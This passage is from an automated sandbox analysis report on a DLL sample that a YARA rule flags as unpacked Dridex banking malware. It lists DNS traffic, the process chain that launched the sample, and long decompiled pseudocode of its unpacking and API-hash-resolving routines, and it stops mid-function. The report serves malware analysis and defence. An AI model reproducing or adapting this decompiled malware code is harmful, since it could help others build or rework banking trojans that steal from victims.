May 13, 2021 07:26:22.206459045 CEST	63116	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:22.266541958 CEST	53	63116	8.8.8.8	192.168.2.4
May 13, 2021 07:26:23.233056068 CEST	64078	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:23.281907082 CEST	53	64078	8.8.8.8	192.168.2.4
May 13, 2021 07:26:24.919857979 CEST	64801	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:24.968652010 CEST	53	64801	8.8.8.8	192.168.2.4
May 13, 2021 07:26:25.805102110 CEST	61721	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:25.854413033 CEST	53	61721	8.8.8.8	192.168.2.4
May 13, 2021 07:26:27.032040119 CEST	51255	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:27.080962896 CEST	53	51255	8.8.8.8	192.168.2.4
May 13, 2021 07:26:36.538136959 CEST	61522	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:36.598098993 CEST	53	61522	8.8.8.8	192.168.2.4
May 13, 2021 07:26:52.978501081 CEST	52337	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:53.030014038 CEST	53	52337	8.8.8.8	192.168.2.4
May 13, 2021 07:27:01.689582109 CEST	55046	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:01.751342058 CEST	53	55046	8.8.8.8	192.168.2.4
May 13, 2021 07:27:09.450536013 CEST	49612	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:09.515995026 CEST	53	49612	8.8.8.8	192.168.2.4
May 13, 2021 07:27:14.444190979 CEST	49285	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:14.502707958 CEST	53	49285	8.8.8.8	192.168.2.4
May 13, 2021 07:27:30.695261002 CEST	50601	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:30.827620983 CEST	53	50601	8.8.8.8	192.168.2.4
May 13, 2021 07:27:31.378300905 CEST	60875	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:31.437693119 CEST	53	60875	8.8.8.8	192.168.2.4
May 13, 2021 07:27:31.978159904 CEST	56448	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:32.037575960 CEST	53	56448	8.8.8.8	192.168.2.4
May 13, 2021 07:27:32.342175007 CEST	59172	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:32.408808947 CEST	53	59172	8.8.8.8	192.168.2.4
May 13, 2021 07:27:32.474756956 CEST	62420	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:32.532470942 CEST	53	62420	8.8.8.8	192.168.2.4
May 13, 2021 07:27:33.076623917 CEST	60579	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:33.194742918 CEST	53	60579	8.8.8.8	192.168.2.4
May 13, 2021 07:27:33.780787945 CEST	50183	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:33.837811947 CEST	53	50183	8.8.8.8	192.168.2.4
May 13, 2021 07:27:34.316339970 CEST	61531	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:34.378895044 CEST	53	61531	8.8.8.8	192.168.2.4
May 13, 2021 07:27:35.115670919 CEST	49228	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:35.172749043 CEST	53	49228	8.8.8.8	192.168.2.4
May 13, 2021 07:27:36.271333933 CEST	59794	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:36.320132971 CEST	53	59794	8.8.8.8	192.168.2.4
May 13, 2021 07:27:36.726064920 CEST	55916	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:36.783003092 CEST	53	55916	8.8.8.8	192.168.2.4
May 13, 2021 07:27:52.235490084 CEST	52752	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:52.299331903 CEST	53	52752	8.8.8.8	192.168.2.4
May 13, 2021 07:27:53.974703074 CEST	60542	53	192.168.2.4	8.8.8.8
May 13, 2021 07:27:54.036302090 CEST	53	60542	8.8.8.8	192.168.2.4

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

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Behavior

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System Behavior

Analysis Process: loaddll32.exe PID: 6632 Parent PID: 5820

General

Start time:	07:26:13
Start date:	13/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll'
Imagebase:	0x2a0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6648 Parent PID: 6632

General

Start time:	07:26:13
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6660 Parent PID: 6648

General

Start time:	07:26:14
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1
Imagebase:	0xc60000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5888 Parent PID: 6660

General

Start time:	07:26:45
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6660 -s 764
Imagebase:	0x900000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

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Analysis Process: rundll32.exe PID: 6660 Parent PID: 6648 rundll32.exeCOMMON

Executed Functions

Function 02D823D4, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224
memoryCOMMON

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C-Code - Quality: 42%

			E02D823D4(long __ebx, void* __edi, long __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				void* _v68;
				char* _v72;
				int _v76;
				long _v80;
				long _v84;
				DWORD* _v88;
				intOrPtr _v92;
				int _v96;
				intOrPtr* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				void* _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				unsigned int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				intOrPtr _v176;
				int _v180;
				char* _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				char _v196;
				intOrPtr* _t142;
				int _t148;
				int _t156;
				int _t160;
				unsigned int _t180;
				int _t196;
				intOrPtr _t230;
				intOrPtr _t232;
				void* _t237;
				intOrPtr _t240;
				void* _t247;
				intOrPtr _t251;
				intOrPtr _t258;
				DWORD* _t271;
				void* _t275;
				intOrPtr* _t278;
				intOrPtr* _t279;

				_t142 = _a4;
				_v20 = 0;
				_t247 =  *_t142;
				 *0x2d84418 = 1;
				asm("movaps xmm0, [0x2d83010]");
				asm("movups [0x2d84428], xmm0");
				_v48 = _t142;
				_v52 =  *((intOrPtr*)(_t142 + 0x48));
				_v56 =  *((intOrPtr*)(_v48 + 0x6c));
				_v196 = _t247;
				_v192 =  *((intOrPtr*)(_v48 + 0x24));
				_v188 = 4;
				_v184 =  &_v20;
				_v60 =  *((intOrPtr*)(_t142 + 0x1c));
				_v64 = 4;
				_v68 = _t247;
				_v72 =  &_v20;
				_t148 = VirtualProtect(__edi, __esi, __ebx, _t271); // executed
				_v76 = _t148;
				_v196 = _v68;
				_v192 = 0;
				_v188 =  *((intOrPtr*)(_v48 + 0x24));
				_v80 = 0x400;
				_v84 = 2;
				_v88 =  &_v20;
				_v92 = 0;
				E02D81E7B();
				E02D81094(_v68,  *((intOrPtr*)(_v48 + 0x44)), _v56);
				E02D81E7B( *((intOrPtr*)(_v48 + 0x44)), 0, _v56);
				_t156 = VirtualProtect(_v68, 0x400, 2, _v88); // executed
				_t278 = _t275 - 0x94;
				_t237 = _v68;
				_t258 =  *((intOrPtr*)(_t237 + 0x3c));
				_v96 = _t156;
				_v100 = _v68 + 0x3c;
				_v104 = _t237;
				_v108 = _t258;
				if(_t258 != 0) {
					_v104 = _v68 + (_v108 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v120 = _v104;
				if(_v52 != 0) {
					_v144 = _v120 + 0x18 + ( *(_v120 + 0x14) & 0x0000ffff);
					_v148 = 0;
					while(1) {
						_t230 = _v144;
						_v156 = _v148;
						_t180 =  *(_t230 + 0x24);
						_v160 = _t180;
						_v164 = _t180 >> 0x1e;
						_v168 = _v160 >> 0x1f;
						_v172 = _v160 >> 0x0000001d & 0x00000001;
						_v196 = _v68 +  *((intOrPtr*)(_t230 + 0xc));
						_v192 =  *((intOrPtr*)(_t230 + 8));
						_v188 =  *((intOrPtr*)(0x2d84418 + ((_v164 & 0x00000001) << 4) + (_v168 << 3) + (_v172 << 2)));
						_v184 =  &_v20;
						_v176 = _t230;
						_t196 = VirtualProtect(??, ??, ??, ??); // executed
						_t278 = _t278 - 0x10;
						_t232 = _v156 + 1;
						_v180 = _t196;
						_v144 = _v176 + 0x28;
						_v148 = _t232;
						if(_t232 == _v52) {
							goto L11;
						}
					}
				}
				L11:
				 *_t278 = _v68;
				_v124 = _v68 +  *((intOrPtr*)(_v48 + 0x10));
				_t160 = DisableThreadLibraryCalls(??);
				_t279 = _t278 - 4;
				_t240 =  *_v100;
				_v152 = _t160;
				_v112 = _t240;
				_v116 = _v68;
				if(_t240 == 0) {
					L7:
					_t251 = _v48;
					_v44 =  *((intOrPtr*)(_t251 + 0x40));
					_v40 =  *((intOrPtr*)(_t251 + 0x4c));
					_v36 =  *((intOrPtr*)(_t251 + 0x20));
					_v32 =  *((intOrPtr*)(_t251 + 0x54));
					_v28 =  *((intOrPtr*)(_t251 + 0x58));
					_v24 = _v124;
					 *_t279 = _t251;
					_v196 = 0;
					_v192 = 0x74;
					_v128 =  *((intOrPtr*)(_v116 + 0x28));
					_v132 = 0;
					_v136 = 0x74;
					_v140 =  &_v44;
					E02D81E7B();
					if(_v128 != 0) {
						_t278 =  *((intOrPtr*)( &_v44 + 0x10));
						goto __eax;
					}
					return 1;
				} else {
					_v116 = _v68 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
					goto L7;
				}
			}

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APIs

VirtualProtect.KERNELBASE ref: 02D82449
VirtualProtect.KERNELBASE ref: 02D824E2
VirtualProtect.KERNELBASE ref: 02D826F5

Strings

t, xrefs: 02D825B3

Memory Dump Source

Source File: 00000002.00000002.748611508.0000000002D80000.00000040.00000001.sdmp, Offset: 02D80000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: t
API String ID: 544645111-2238339752
Opcode ID: 6f7aed4da9868916cbd44910662deadcfe4d28a0495861adaf2be10746817557
Instruction ID: 4349b72badf04be6b98bdb65bd2d70846fff538553fceede0f390d48bda2edbb
Opcode Fuzzy Hash: 6f7aed4da9868916cbd44910662deadcfe4d28a0495861adaf2be10746817557
Instruction Fuzzy Hash: 18B199B4E042288FDB14DF68C990A9DBBF1BF48304F1585AAE948AB351D730AD81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02D82101, Relevance: 1.4, APIs: 1, Instructions: 106memoryCOMMON

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APIs

VirtualAlloc.KERNELBASE ref: 02D82172

Memory Dump Source

Source File: 00000002.00000002.748611508.0000000002D80000.00000040.00000001.sdmp, Offset: 02D80000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 033d263155ffc3d0b6236b8629689c658cf4e2d9a96ebed7f8aabdbc96411034
Instruction ID: 332f9a0c06c4656d91121ef90dc76bf69d12dff7c7c2bf6ff56db086336714ac
Opcode Fuzzy Hash: 033d263155ffc3d0b6236b8629689c658cf4e2d9a96ebed7f8aabdbc96411034
Instruction Fuzzy Hash: E641E2B5D012199FDB08DFA8D894AAEBBF1FF48314F14852DE948AB340D375A845CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10010754, Relevance: 1.9, Strings: 1, Instructions: 650
COMMONCrypto

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C-Code - Quality: 78%

			E10010754(void* __ecx) {
				void* __esi;
				intOrPtr _t156;
				signed char* _t160;
				char _t163;
				char _t181;
				intOrPtr _t190;
				char _t191;
				intOrPtr _t197;
				intOrPtr _t202;
				char _t205;
				void* _t214;
				void* _t215;
				char _t217;
				char _t218;
				char _t225;
				char _t240;
				char _t243;
				char _t246;
				char _t249;
				char _t252;
				char _t256;
				char _t261;
				void* _t270;
				void* _t271;
				char _t273;
				char _t274;
				void* _t278;
				char _t279;
				char _t280;
				char _t284;
				intOrPtr* _t293;
				signed char _t296;
				signed char _t297;
				intOrPtr* _t322;
				intOrPtr* _t327;
				intOrPtr* _t349;
				intOrPtr* _t365;
				char _t366;
				intOrPtr* _t371;
				intOrPtr* _t374;
				intOrPtr* _t379;
				char _t384;
				char _t385;
				char _t386;
				char _t387;
				char _t388;
				char _t389;
				char _t395;
				char _t397;
				char _t403;
				char _t405;
				intOrPtr* _t406;
				signed int _t408;
				intOrPtr* _t411;
				intOrPtr* _t413;
				signed int _t415;
				void* _t416;
				void* _t417;
				char _t422;
				intOrPtr* _t425;
				void* _t427;
				intOrPtr* _t429;
				void* _t430;
				void* _t431;

				_t416 = __ecx;
				_t156 =  *0x1001d1f8;
				if(_t156 == 0x255be0d1) {
					_t156 = E100135F4(0x30);
					 *0x1001d1f8 = _t156;
				}
				if( *((char*)(_t156 + 0xb)) == 0 || _t416 != 0) {
					_t417 = _t430 + 0x48;
					E10013670(_t417, 0, 0x11c);
					_t431 = _t430 + 0xc;
					 *((intOrPtr*)(_t431 + 0x48)) = 0x11c;
					if(E10013044(0x10154545, 0x51a0195c, 0x10154545, 0x10154545) != 0) {
						_push(_t417);
						asm("int3");
						asm("int3");
					}
					_t406 =  *0x1001d1f8;
					_t160 = _t431 + 0x4c;
					_t296 =  *_t160;
					 *(_t406 + 8) = _t296;
					_t297 = _t160[4];
					 *(_t406 + 9) = _t297;
					 *((char*)(_t406 + 0xa)) = _t160[0x110];
					 *((intOrPtr*)(_t406 + 4)) =  *((intOrPtr*)(_t431 + 0x54));
					 *((char*)(_t406 + 0xc)) = 0 | _t160[0x116] != 0x00000001;
					 *_t406 = (_t297 & 0x000000ff) + ((_t296 & 0x000000ff) << 4) - 0x50;
					_t163 = E1001101C(_t406);
					 *((intOrPtr*)(_t431 + 0x198)) = 0;
					 *((char*)( *0x1001d1f8 + 0xb)) = _t163;
					_t365 = E10013044(0x8b9d0da7, 0x8335dc52, _t163, _t163);
					if(_t365 == 0) {
						L12:
						_t366 = 0;
						L13:
						 *((char*)( *0x1001d1f8 + 0x28)) = _t366;
						if( *((intOrPtr*)(E10010754(0))) >= 0x10) {
							_push(6);
							memcpy(_t431 + 0x164, 0x1001bce0, 0 << 2);
							_t431 = _t431 + 0xc;
							 *((intOrPtr*)(_t431 + 0x1c)) = 0;
							E1000F5A8(_t431 + 0x24, 0);
							_t408 = 0;
							__eflags = 0;
							do {
								E1000F84C(_t431 + 0x24, E1000F4F0(_t431 + 0x20) + 4);
								 *((intOrPtr*)(E1000F4E0(_t431 + 0x24, E1000F4F0(_t431 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t431 + 0x164 + _t408 * 4));
								_t408 = _t408 + 1;
								 *((intOrPtr*)(_t431 + 0x1c)) =  *((intOrPtr*)(_t431 + 0x1c)) + 1;
								__eflags = _t408 - 6;
							} while (_t408 < 6);
							_push(0);
							E10015558(_t431 + 0xc, _t431 + 0x1c, 0x80000002);
							E1000F678(_t431 + 0x20);
							E10015588(_t431 + 8, _t431 + 0x1c0, 0x5e9822cf);
							_t181 = E1001583C(_t431 + 4, __eflags,  *((intOrPtr*)(_t431 + 0x1c0)));
							_t409 = _t181;
							E1000DFDC(_t431 + 0x1c0);
							__eflags = _t181;
							if(_t181 != 0) {
								E10015588(_t431 + 8, _t431 + 0x1c8, 0x80c4a2b7);
								_t422 = E1001583C(_t431 + 4, __eflags,  *((intOrPtr*)(_t431 + 0x1c8)));
								E1000DFDC(_t431 + 0x1c8);
								_t409 = _t431 + 0x1d0;
								E10015588(_t431 + 8, _t431 + 0x1d0, 0xa89c042f);
								_t403 = E1001583C(_t431 + 4, __eflags,  *((intOrPtr*)(_t431 + 0x1d0)));
								E1000DFDC(_t431 + 0x1d0);
								__eflags = _t422;
								if(_t422 != 0) {
									__eflags = _t422 - 5;
									if(_t422 != 5) {
										__eflags = _t422 - 2;
										if(_t422 != 2) {
											L58:
											E1000D020(_t431 + 0xc);
											__eflags =  *((char*)(_t431 + 8));
											if( *((char*)(_t431 + 8)) == 0) {
												L65:
												_t190 = 0;
												__eflags = 0;
												 *((intOrPtr*)(_t431 + 4)) = 0;
												goto L66;
											}
											_t384 =  *((intOrPtr*)(_t431 + 4));
											__eflags = _t384;
											if(_t384 == 0) {
												L61:
												_t240 = 1;
												L63:
												__eflags = _t240;
												if(_t240 == 0) {
													E10015530(_t384);
												}
												goto L65;
											}
											__eflags = _t384 - 0xffffffff;
											if(_t384 != 0xffffffff) {
												_t240 = 0;
												__eflags = 0;
												goto L63;
											}
											goto L61;
										}
										__eflags = _t403 - 1;
										if(_t403 != 1) {
											goto L58;
										}
										E1000D020(_t431 + 0xc);
										__eflags =  *((char*)(_t431 + 8));
										if( *((char*)(_t431 + 8)) == 0) {
											L57:
											 *((intOrPtr*)(_t431 + 4)) = 0;
											_t190 = 5;
											goto L66;
										}
										_t385 =  *((intOrPtr*)(_t431 + 4));
										__eflags = _t385;
										if(_t385 == 0) {
											L53:
											_t243 = 1;
											L55:
											__eflags = _t243;
											if(_t243 == 0) {
												E10015530(_t385);
											}
											goto L57;
										}
										__eflags = _t385 - 0xffffffff;
										if(_t385 != 0xffffffff) {
											_t243 = 0;
											__eflags = 0;
											goto L55;
										}
										goto L53;
									}
									__eflags = _t403;
									if(_t403 != 0) {
										__eflags = _t403 - 1;
										if(_t403 == 1) {
											E1000D020(_t431 + 0xc);
											__eflags =  *((char*)(_t431 + 8));
											if( *((char*)(_t431 + 8)) == 0) {
												L122:
												 *((intOrPtr*)(_t431 + 4)) = 0;
												_t190 = 4;
												goto L66;
											}
											_t386 =  *((intOrPtr*)(_t431 + 4));
											__eflags = _t386;
											if(_t386 == 0) {
												L118:
												_t246 = 1;
												L120:
												__eflags = _t246;
												if(_t246 == 0) {
													E10015530(_t386);
												}
												goto L122;
											}
											__eflags = _t386 - 0xffffffff;
											if(_t386 != 0xffffffff) {
												_t246 = 0;
												__eflags = 0;
												goto L120;
											}
											goto L118;
										}
										goto L58;
									}
									E1000D020(_t431 + 0xc);
									__eflags =  *((char*)(_t431 + 8));
									if( *((char*)(_t431 + 8)) == 0) {
										L45:
										 *((intOrPtr*)(_t431 + 4)) = 0;
										_t190 = 3;
										goto L66;
									}
									_t387 =  *((intOrPtr*)(_t431 + 4));
									__eflags = _t387;
									if(_t387 == 0) {
										L41:
										_t249 = 1;
										L43:
										__eflags = _t249;
										if(_t249 == 0) {
											E10015530(_t387);
										}
										goto L45;
									}
									__eflags = _t387 - 0xffffffff;
									if(_t387 != 0xffffffff) {
										_t249 = 0;
										__eflags = 0;
										goto L43;
									}
									goto L41;
								}
								__eflags = _t403;
								if(_t403 != 0) {
									goto L58;
								}
								E1000D020(_t431 + 0xc);
								__eflags =  *((char*)(_t431 + 8));
								if( *((char*)(_t431 + 8)) == 0) {
									L35:
									 *((intOrPtr*)(_t431 + 4)) = 0;
									_t190 = 2;
									goto L66;
								}
								_t388 =  *((intOrPtr*)(_t431 + 4));
								__eflags = _t388;
								if(_t388 == 0) {
									L31:
									_t252 = 1;
									L33:
									__eflags = _t252;
									if(_t252 == 0) {
										E10015530(_t388);
									}
									goto L35;
								}
								__eflags = _t388 - 0xffffffff;
								if(_t388 != 0xffffffff) {
									_t252 = 0;
									__eflags = 0;
									goto L33;
								}
								goto L31;
							}
							E1000D020(_t431 + 0xc);
							__eflags =  *((char*)(_t431 + 8));
							if( *((char*)(_t431 + 8)) == 0) {
								L25:
								 *((intOrPtr*)(_t431 + 4)) = 0;
								_t190 = 1;
								goto L66;
							}
							_t389 =  *((intOrPtr*)(_t431 + 4));
							__eflags = _t389;
							if(_t389 == 0) {
								L21:
								_t256 = 1;
								L23:
								__eflags = _t256;
								if(_t256 == 0) {
									E10015530(_t389);
								}
								goto L25;
							}
							__eflags = _t389 - 0xffffffff;
							if(_t389 != 0xffffffff) {
								_t256 = 0;
								__eflags = 0;
								goto L23;
							}
							goto L21;
						} else {
							_t190 = 1;
							L66:
							 *((intOrPtr*)( *0x1001d1f8 + 0x24)) = _t190;
							_t191 = E10011054(0xffffffffffffffff);
							_t322 =  *0x1001d1f8;
							 *((char*)(_t322 + 0x29)) = _t191;
							 *((intOrPtr*)(_t322 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t322 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x1001d1f8 + 0x2c)) = E100110C8(0xffffffffffffffff);
								L78:
								_t371 = E10013044(0x10154545, 0xccc77b1, 0x10154545, 0x10154545);
								if(_t371 != 0) {
									 *_t371(_t431 + 0x164);
								}
								_t197 =  *0x1001d1f8;
								_t293 = _t431 + 0x178;
								_t411 = _t431 + 0x170;
								 *((short*)(_t197 + 0xe)) =  *_t293;
								 *((intOrPtr*)(_t197 + 0x10)) =  *((intOrPtr*)(_t293 - 0x10));
								 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t293 - 0xc));
								 *((intOrPtr*)(_t197 + 0x18)) =  *_t411;
								 *((intOrPtr*)(_t197 + 0x1c)) =  *((intOrPtr*)(_t411 + 0x10));
								return _t197;
							}
							 *((intOrPtr*)(_t431 + 0x19c)) = 0;
							_t374 = E10013044(0x8b9d0da7, 0x8335dc52, 0x8b9d0da7, 0x8b9d0da7);
							if(_t374 == 0) {
								L74:
								_t202 =  *0x1001d1f8;
								if( *((char*)(_t202 + 0x28)) == 0) {
									 *((intOrPtr*)(_t202 + 0x2c)) = 3;
								} else {
									 *((intOrPtr*)(_t202 + 0x2c)) = 5;
								}
								goto L78;
							}
							_push(_t431 + 0x19c);
							_push(8);
							_push(0xffffffff);
							if( *_t374() == 0) {
								_t205 = E100135C8(_t409);
								__eflags = _t205;
								if(_t205 != 0) {
									goto L74;
								}
							}
							 *((intOrPtr*)(_t431 + 0x30)) =  *((intOrPtr*)(_t431 + 0x19c));
							 *((char*)(_t431 + 0x34)) = 1;
							 *((intOrPtr*)(_t431 + 0x1a4)) = 0;
							_t327 = E10013044(0x8b9d0da7, 0x6ca672fa, 0x8b9d0da7, 0x8b9d0da7);
							if(_t327 != 0) {
								_push(_t431 + 0x1a4);
								_push(0);
								_push(0);
								_push(1);
								_push( *((intOrPtr*)(_t431 + 0x1ac)));
								if( *_t327() == 0) {
									E100135C8(_t409);
								}
							}
							_t208 =  *((intOrPtr*)(_t431 + 0x1a4));
							if( *((intOrPtr*)(_t431 + 0x1a4)) != 0) {
								E1000F5A8(_t431 + 0x18c, _t208);
								_t413 = E10013044(0x8b9d0da7, 0x6ca672fa, 0x8b9d0da7, 0x8b9d0da7);
								__eflags = _t413;
								if(_t413 == 0) {
									L134:
									E1000F678(_t431 + 0x188);
									goto L72;
								}
								_t214 = E1000F4E0(_t431 + 0x18c, 0);
								_t215 = E1000F4F0(_t431 + 0x188);
								_t217 =  *_t413( *((intOrPtr*)(_t431 + 0x1ac)), 1, _t214, _t215, _t431 + 0x1a4);
								__eflags = _t217;
								if(_t217 == 0) {
									_t218 = E100135C8(_t413);
									__eflags = _t218;
									if(_t218 != 0) {
										goto L134;
									}
								}
								_t425 = E1000F4E0(_t431 + 0x18c, 0);
								E1000DF84(_t431 + 0x1b4, 0);
								 *((intOrPtr*)(_t431 + 0x1ac)) = 0;
								_t379 = E10013044(0x8b9d0da7, 0x628b2cfa, 0x8b9d0da7, 0x8b9d0da7);
								__eflags = _t379;
								if(_t379 != 0) {
									 *_t379( *_t425, _t431 + 0x1ac);
								}
								E1000DFF8(_t431 + 0x1b4,  *((intOrPtr*)(_t431 + 0x1ac)));
								_t225 = E10013044(0x10154545, 0x44fb2dcc, 0x10154545, 0x10154545);
								__eflags = _t225;
								if(_t225 != 0) {
									_push( *((intOrPtr*)(_t431 + 0x1ac)));
									asm("int3");
									asm("int3");
								}
								E1000E0A4(_t431 + 0x1b8 - 8, _t431 + 0x1b8);
								_t427 = E10014FD4( *((intOrPtr*)(_t431 + 0x1b8)), E1000E8D4( *((intOrPtr*)(_t431 + 0x1b8)), 0x7fffffff));
								E1000DFDC(_t431 + 0x1b8);
								E1000DFDC(_t431 + 0x1b0);
								E1000F678(_t431 + 0x188);
								__eflags =  *((char*)(_t431 + 0x34));
								if( *((char*)(_t431 + 0x34)) != 0) {
									E1000BB88(_t431 + 0x30);
								}
								__eflags = _t427 - 0x6df4cf7;
								if(_t427 != 0x6df4cf7) {
									goto L74;
								} else {
									 *((intOrPtr*)( *0x1001d1f8 + 0x2c)) = 6;
									goto L78;
								}
							} else {
								L72:
								if( *((char*)(_t431 + 0x34)) != 0) {
									E1000BB88(_t431 + 0x30);
								}
								goto L74;
							}
						}
					}
					_push(_t431 + 0x198);
					_push(8);
					_push(0xffffffff);
					if( *_t365() == 0) {
						_t261 = E100135C8(_t406);
						__eflags = _t261;
						if(_t261 != 0) {
							goto L12;
						}
					}
					 *((intOrPtr*)(_t431 + 0x14)) =  *((intOrPtr*)(_t431 + 0x198));
					 *((char*)(_t431 + 0x18)) = 1;
					 *((intOrPtr*)(_t431 + 0x1a0)) = 0;
					_t349 = E10013044(0x8b9d0da7, 0x6ca672fa, 0x8b9d0da7, 0x8b9d0da7);
					if(_t349 != 0) {
						_push(_t431 + 0x1a0);
						_push(0);
						_push(0);
						_push(2);
						_push( *((intOrPtr*)(_t431 + 0x1a8)));
						if( *_t349() == 0) {
							E100135C8(_t406);
						}
					}
					_t264 =  *((intOrPtr*)(_t431 + 0x1a0));
					if( *((intOrPtr*)(_t431 + 0x1a0)) != 0) {
						E1000F5A8(_t431 + 0x3c, _t264);
						_t409 = E10013044(0x8b9d0da7, 0x6ca672fa, 0x8b9d0da7, 0x8b9d0da7);
						__eflags = _t409;
						if(_t409 == 0) {
							L108:
							E1000F678(_t431 + 0x38);
							goto L10;
						}
						_t270 = E1000F4E0(_t431 + 0x3c, 0);
						_t271 = E1000F4F0(_t431 + 0x38);
						_t273 =  *_t409( *((intOrPtr*)(_t431 + 0x1a8)), 2, _t270, _t271, _t431 + 0x1a0);
						__eflags = _t273;
						if(_t273 == 0) {
							_t274 = E100135C8(_t409);
							__eflags = _t274;
							if(_t274 != 0) {
								goto L108;
							}
						}
						_t429 = E1000F4E0(_t431 + 0x3c, 0);
						 *((intOrPtr*)(_t431 + 0x1d8 - 0x30)) = 0;
						asm("movsd");
						asm("movsb");
						asm("movsb");
						_t409 = E10013044(0x8b9d0da7, 0xbdc0a291, 0x8b9d0da7, 0x8b9d0da7);
						__eflags = _t409;
						if(_t409 == 0) {
							goto L108;
						}
						_t278 = _t431 + 0x1a8;
						_t279 =  *_t409(_t278 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t278);
						__eflags = _t279;
						if(_t279 == 0) {
							_t280 = E100135C8(_t409);
							__eflags = _t280;
							if(_t280 != 0) {
								goto L108;
							}
						}
						_t405 =  *((intOrPtr*)(_t431 + 0x1a8));
						__eflags =  *_t429;
						if( *_t429 <= 0) {
							L102:
							__eflags = _t405;
							if(_t405 == 0) {
								L104:
								_t395 = 1;
								L106:
								__eflags = _t395;
								if(_t395 == 0) {
									E10010FF8(_t405, _t409, _t405);
								}
								goto L108;
							}
							__eflags = _t405 - 0xffffffff;
							if(_t405 != 0xffffffff) {
								_t395 = 0;
								__eflags = 0;
								goto L106;
							}
							goto L104;
						}
						_t415 = 0;
						__eflags = 0;
						do {
							_t284 = E10013044(0x8b9d0da7, 0x2ae47d4a, 0x8b9d0da7, 0x8b9d0da7);
							__eflags = _t284;
							if(_t284 == 0) {
								goto L101;
							}
							_push( *((intOrPtr*)(_t429 + 4 + _t415 * 8)));
							_push( *((intOrPtr*)(_t431 + 0x1ac)));
							asm("int3");
							asm("int3");
							__eflags = _t284;
							if(_t284 == 0) {
								goto L101;
							}
							__eflags = _t405;
							if(_t405 == 0) {
								L93:
								_t397 = 1;
								L95:
								__eflags = _t397;
								if(_t397 == 0) {
									E10010FF8(_t405, _t415, _t405);
								}
								E1000F678(_t431 + 0x38);
								__eflags =  *((char*)(_t431 + 0x18));
								if( *((char*)(_t431 + 0x18)) != 0) {
